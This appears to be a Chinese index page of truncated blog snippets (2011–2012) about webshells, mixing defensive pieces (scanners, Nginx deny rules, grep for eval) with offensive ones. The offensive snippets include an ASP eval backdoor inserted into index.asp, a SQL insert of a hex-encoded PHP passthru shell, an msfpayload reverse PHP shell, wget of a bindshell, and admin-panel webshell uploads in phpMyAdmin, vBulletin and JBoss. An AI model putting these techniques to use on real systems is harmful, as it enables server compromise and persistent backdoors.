WebShell

木马webshell扫描器代码不管大马小马通杀

 因为前端时间服务器被放过所以写了个webshell扫描器呵呵专杀phpwebshell不管大马还是小马包括一句话现在放出代码来 代码如下:0) break; } return$httpvars; } 
qingyun163·2012-03-24 22:54

台拿WEBSHELL方法总结

一、直接上传获得这种对php和jsp的一些程序比较常见，MolyXBOARD就是其中一例，直接在心情图标管理上传.php类型，虽然没有提示，其实已经成功了，上传的文件url应该是http://forums/images/smiles/下，前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名，bo-blog后台可以可以直接上传.php文件，上传的文件路径有提示。以
383519377·2012-03-20 16:00

【转】Nginx——防止webshell跨目录

原文地址： http://www.itdhz.com/post-131.html 此文解决了我主机上多虚拟主机用户权限控制的大难题，特此收藏备用！   nginx为多用户多域名提供虚拟主机一直都是个问题.在php的执行上是采用fastcgi的方式运行的.php在fastcgi模式下虽然效率有很多提升,但是也暴露出一个问题,就是安全性问题.php以fastcgi方式运行一般
binyan17·2012-03-19 22:00

burpsuite破解webshell密码+国内黑阔shell密码收集

burpsuite破解webshell密码+国内黑阔shell密码收集burpsuite_pro_v1.3.03下载:http://h4ck3r.nbst.org/tool/burpsuite_pro_v1.3.03
fengling132·2012-03-19 21:39

sqlserver 2000中创建用户的图文方法

一旦被黑客获取到webshell，黑客就知道了你的sqlserver管理员密码，如果sqlserver再没有经过安全设置那么黑客很容易就提权并新建系统管理员账号，那么黑客就可以轻松的控制你的电脑了。
·2012-03-17 22:50

webshell提权

暗藏webshell后门 1.插一句木马后门，在index.asp或者default.asp在最底部或者中间加入  有时候会出错测在后门代码处理为  try{eval(Request.from('pass
firehalt·2012-03-17 15:23

查找Centos Linux服务器上的WebShell后门

务器被挂马或被黑的朋友应该知道，黑客入侵web服务器的第一目标是往服务器上上传一个webshell，有了webshell黑客就可以干更多的事情。
coolwhy1·2012-03-12 20:00

phpmyadmin 后台拿webshell

1:phpmyadmin 后台拿webshell phpmyadmin爆路径方法 weburl+phpmyadmin/themes/darkblue_orange/layout.inc.php http
hxai11·2012-03-08 09:00

<>一个官方没有公布的php秘籍，可用作后门

可以看看 http://www.webshell.cc/3303.html 好奇怪的漏洞？
wcf1987·2012-03-05 15:00

如何防范webshell

PS：因为最近给公司的网站进行检查，所以从其他blog复制过来让有兴趣的朋友一起研究下现在通过整理一些高手的文章来说说如何防范WEBSHELL。
aixe·2012-02-26 17:19

服务器管理Linux经典命令

1.站点根目录下查找是否被放置webshell木马根据语句判断是不是PHP木马脚本#find/storage/www/-name“*.php”|xargsgrep-in�Ccolor“eval(”#grep-i
flandycheng·2012-02-18 21:00

黑站利器-中国菜刀的功能介绍和使用方法

黑站利器-中国菜刀的功能介绍和使用方法中国菜刀，一个非常好用而又强大的webshell，它可不是用来切菜的做饭的道具哦，是一款专业的网站管理软件，大小只有300多KB，真是小巧实用啊！
ainy·2012-02-14 15:25

WebShell(脚本木马)查杀思路

0x1、介绍在web服务器上留下一个WEBSHELL后门是黑客最常见的留后门方法，传统意义上的系统后面，在各种云查杀的追缴下，基本上已经毫无出路(某些特殊工具除外)，所以WEBSHELL最为一个最经济、
arno2013·2012-02-09 15:44

php木马webshell扫描器代码

复制代码代码如下:0)break;}return$httpvars;}functionSafe_Check($dir)//遍历文件{global$danger,$suffix,$dir_num,$file_num,$danger_num;$hand=@dir($dir)ordie('文件夹不存在');while($file=$hand->read()){$filename=$dir.'/'.$fi
·2012-01-25 22:19

apache的安全增强配置(使用mod_chroot,mod_security)

                                     作者：windydays   2010/8/17                            LAMP环境的一般入侵，大致经过sql注入，上传webshell
shaobingj126·2012-01-17 11:00

数据安全架构

乌云平台报告了某上市公司客户资料数据库被窃取，数据库资料包含了用户的手机、密码、邮箱、身份证、住址、家庭成员信息、消费记录(这个比较敏感)，他们感到鸭梨很大，所以得此机会，为他们的几千万用户设计数据安全方案；了解骇客Web漏洞->WebShell
aoding·2011-12-31 17:24

挖掘鸡

这样做虽然能找到存在漏洞的网站，但是效率却十分低下，要想在短时间内拿到大量webshell是一件比较困难的事。那么有没有自动寻找网站漏洞的工具呢？
zhangmiaoping23·2011-12-21 00:00

Windows系统密码破解全攻略

留的Webshell痕迹太明显，哪怕是一句话的Webshell，都极容易被管理员清除。放了木马，也容易被有经验的管理员查出来，毕竟现在能做到无声无色的木马还是比较少。
chinafe·2011-12-16 20:00

vBulletin 4.X

HookLocation选择ajax_complete,Title处随便写了,PluginPHPCode:写入一句话;直接访问http://xxooxooo.com/ajax.php一句话另求PHP带端口扫描WEBSHELL
lovec·2011-12-14 17:16

JBOSS远程代码执行漏洞

www.safe3.com.cn:8080/jmx-console/后台，如下图下拉找到如下图所示点击flavor=URL,type=DeploymentScanner进入在输入框中写入war压缩文件webshell
seng3018·2011-12-12 08:00

通过修改PHP源代码解决Nginx下WebShell跨站的问题

Nginx/Lighttpd+PHPFastCGI的方式正在被越来越多的网站应用，其中让需要虚拟主机支持的用户最烦心的一件事情莫过于站点权限隔离。目前无论是spawn-cgi或者是php-fpm的方式，都无法动态转变执行用户。尽管可以通过给不同网站以不同的用户身份执行FastCGI，但这也同样失去了FastCGI统一管理的优势，需要为每个网站保留足够的处理进程而不是整体规划。Google搜之有两个
yishunguang·2011-12-10 09:19

服务器管理Linux经典命令

1.站点根目录下查找是否被放置webshell木马根据语句判断是不是PHP木马脚本#find/storage/www/-name"*.php"|xargsgrep-in--color"eval("#grep-i
yk1688·2011-12-06 15:04

关于跨站技术的高级简单利用

这里只丢2个代码，用于思路性测试，测试结果也欧克set.php用于模拟正常设置session(一般就是目标用户正常登陆系统后)作为黑客，通过跨站拿到以上用户的cookie以后且拿到了webshell可以采取以下措施
yatere·2011-11-11 15:00

phpspy2010 绕过登陆漏洞解析

   phpspy2010可谓是webshell界很不错的一个工具，但是phpspy2010和2011相继爆出了绕过认证漏洞，我简单分析下php2010的绕过漏洞，首先据说只有php2010的加密版才有这个漏洞
wcf1987·2011-09-25 15:00

服务器管理Linux经典命令

1.站点根目录下查找是否被放置webshell木马根据语句判断是不是PHP木马脚本#find/storage/www/-name"*.php"|xargsgrep-in--color"eval("#grep-i
lya041·2011-09-08 11:53

网站注入原理

上传*，得到webshell我一步一步的
a5489888·2011-08-18 17:00

script webshell jspWebShell / pythonWebShell / phpWebShell

    <span style="color: #ff6600;">http://simplejee.group.iteye.com/group/wiki/2105-simplejee</span> <span style="font-family: arial, sans-serif, helvetic
tomfish88·2011-08-10 11:00

服务器管理员应该如何应对网站被挂网页木马

一直以来.对于web服务器管理员来说.最头痛的是网站有漏洞.被一些所谓的”黑客”入侵.上传webshell(网页木马).然后修改网站源码.挂上木马.导致网站的真正浏览者中木马.或被重重的弹窗.严重的还会被下载
bet232·2011-07-28 23:42

txt形式进行传输WebShell图文演示！

作者：Vic今天演示一下，把WEBSHELL转换为txt形式进行传输的操作。具体演示过程如下：  找个开了3306端口的MYSQL弱口令主机。我们就选：这台来做演示吧。 
enables·2011-07-07 15:17

txt形式进行传输WebShell图文演示！

作者：Vic今天演示一下，把WEBSHELL转换为txt形式进行传输的操作。具体演示过程如下：找个开了3306端口的MYSQL弱口令主机。我们就选：这台来做演示吧。
enables·2011-07-07 15:17

Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root

#ExploitTitle:Debianbackdoor. --- DROPTABLEIFEXISTS`fm`; CREATETABLE`fm`( `fm`longblob )TYPE=MyISAM; insertintofm(fm)values(0x3c3f20706173737468727528245f4745545b2763275d293b203f3e); selectfm
hackfreer·2011-07-02 11:50

script webshell jspWebShell / pythonWebShell / phpWebShell

googleshellhttp://www.jiunile.com/google-shell.htmlhttp://goosh.org用命令行来玩google,输入ls可以看目录内容. shell爱好者们可以来玩下  http://simplejee.group.iteye.com/group/wiki/2105-simplejeesimplejee是一个开源的面向j2ee初学者的小项目。该项目里
siemens800·2011-06-11 11:00

script webshell jspWebShell / pythonWebShell / phpWebShell

googleshellhttp://www.jiunile.com/google-shell.htmlhttp://goosh.org用命令行来玩google,输入ls可以看目录内容. shell爱好者们可以来玩下  http://simplejee.group.iteye.com/group/wiki/2105-simplejeesimplejee是一个开源的面向j2ee初学者的小项目。该项目里
siemens800·2011-06-11 11:00

NT 3.1.0 后台拿webshell

 1、访问http://127.0.0.1/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default,写入aspx木马。2、写入aspx木马后，访问http://127.0.0.1/tools/rss.aspx就可以了。
hackfreer·2011-06-05 14:53

NGINX:禁止上传目录执行php文件防止webshell

在apache下做如下设置：以apache模块方式运行PHPphp_flagengineoff  Orderallow,deny Denyfromall 在nginx下做如下设置：location/upload/{location~.*\.(php)?${denyall;}}或location~*^/(attachments|upload)/.*\.(php|php5)${denyall;}
xhh_0168·2011-05-30 10:05

安全防范：网站入侵过程全记录【图】 - [杀毒防范技巧]

 来源：吖吖Girl     最近在百度空间看到一篇网站入侵实例，博主应该是个MM，看了一下入侵过程思路还是很清晰，用的是常见方法SQL注入，取得Webshell。
wetking·2011-05-25 23:37

WEBSHELL权限重启服务器的方法

http://www.bbyoo.com/?p=16614保存为*.asp，然后访问该文件，cpu速度上升，然后管理员来重启DB-OWNER权限让服务器重启 sql命令:while1<9beginselectchar(0)end 
hackfreer·2011-05-25 13:53

webshell下连接dsn类型的数据库

 对于windows系统，经常碰到使用dsn的mdb/accsss,sqlserver2000/2005数据库连接，主要是ip地址不知道， 通过搜索，可以使用以下方法来找到：      网上也有人给了命令，自己看：regexportHKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INIc:\1.txtregexportHKEY_CURRENT_USER\Software
hackfreer·2011-05-21 09:14

当Linux提权不能反弹Shell时利用metasploit进行提权

当LINUX提权反弹不了时.经常遇到这种情况请出MSF..1.生成WEBSHELL文件msf>msfpayloadphp/reverse_phpLHOST=你的IPLPORT=端口R>dis9.php我的
obnus·2011-05-05 19:14

[Hack]打造永不被删除的webshell

Windows 下不能够以下面这些字样来命名文件/文件夹，包括：“aux”，“com1”“com2”“prn”“con”和“nul”等，但是通过cmd下是可以创建此类文件夹的，使用copy命令即可实现：D:/wwwroot>copy rootkit.asp //./D://wwwroot/aux.asp已复制 1 个文件。D:/AspWebServer/wwwroot>dir驱动器 D 中的卷没有
dragonszy·2011-05-02 14:00

后台怎么拿到Webshell

趁着地球还没毁灭，赶紧放出来。预祝"单恋一枝花"童鞋生日快乐。恭喜我的浩方Dota升到2级。希望世界和平。我不是标题党，你们敢踩我。敢踩我。。踩我。。。我……既然还没跪，我就从Discuz!古老的6.0版本开始，漏洞都出现在扩展插件上，利用方式有所不同，下面开始。一Discuz!6.0和Discuz!7.0既然要后台拿Shell，文件写入必看。/include/cache.func.phpfunc
Yatere·2011-04-25 13:00

后台得到webshell方法大汇总

在拿站过程中，我们经常费了九牛两虎之力拿到管理员帐号和密码，并顺利进入了后台，虽然此时与拿到网站webshell还有一步之遥，但还是有许多新手因想不出合适的方法而被拒之门外。
aoding·2011-04-25 10:12

脚本入侵 入侵ewebeditor编辑器一些技巧

使用默认密码：admin/admin或admin/admin888不行就默认数据库路径eWebEditor/db/ewebeditor.mdb或eWebEditor/db/%23ewebeditor.mdb拿webshell
佚名·2011-04-24 15:30

webshell 提升 for linux

 我在zone-h得到了答案，他们是这样干的用wget把bindshell下载到/tmp/目录下或者再/etc/inetd.conf可写的情况下直接开一个交互的shell然后用gcc编译http://cgiserver.sogang.ac.kr/~gsviscom/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&
hackfreer·2011-04-16 21:53

webshell 提升 for linux

我在zone-h得到了答案，他们是这样干的用wget把bindshell下载到/tmp/目录下或者再/etc/inetd.conf可写的情况下直接开一个交互的shell然后用gcc编译http://cgiserver.sogang.ac.kr/~gsviscom/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&c
hackfreer·2011-04-16 21:53

精确查找PHP WEBSHELL木马 修正版

先来看下反引号可以成功执行命名的代码片段。代码如下：复制代码代码如下:`ls-al`;`ls-al`;echo"sss";`ls-al`;$sql="SELECT`username`FROM`table`WHERE1";$sql='SELECT`username`FROM`table`WHERE1'/*无非是前面有空白字符，或者在一行代码的结束之后，后面接着写，下面两行为意外情况，也就是SQL命令
·2011-04-12 22:29

精确查找PHP WEBSHELL木马的方法(1)

先来看下反引号可以成功执行命名的代码片段。代码如下：复制代码代码如下:`ls-al`;`ls-al`;echo"sss";`ls-al`;$sql="SELECT`username`FROM`table`WHERE1";$sql='SELECT`username`FROM`table`WHERE1'/*无非是前面有空白字符，或者在一行代码的结束之后，后面接着写，下面两行为意外情况，也就是SQL命令
·2011-04-12 21:44

利用DNS解析原理扩大战果

Author:LengFSite:81sec.comEmail:cn_lgz[at].126.com++———————————————————————————————+一.问题篇在做渗透测试的过程中,当我们拿到webshell
hackfreer·2011-04-08 21:21

关于入侵那点事-发现之旅

一、入侵基本过程：1、利用web框架漏洞取得webshell；（至于是什么漏洞这里就不抖露。）2、上传后门代码方法之一：wgethtt://xx.heike.com/webshell.txt;mvw
Michael Field kezonet·2011-04-07 12:00

asp木马代码解密的随机加密webshell

随机加密webshell，解密还不错，应当免杀加密源码复制代码代码如下:首先这是一个VBScript.Encode加密，微软的screnc.exe加密兼容性好。
·2011-04-01 23:22
上一页 50 51 52 53 54 55 56 57 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他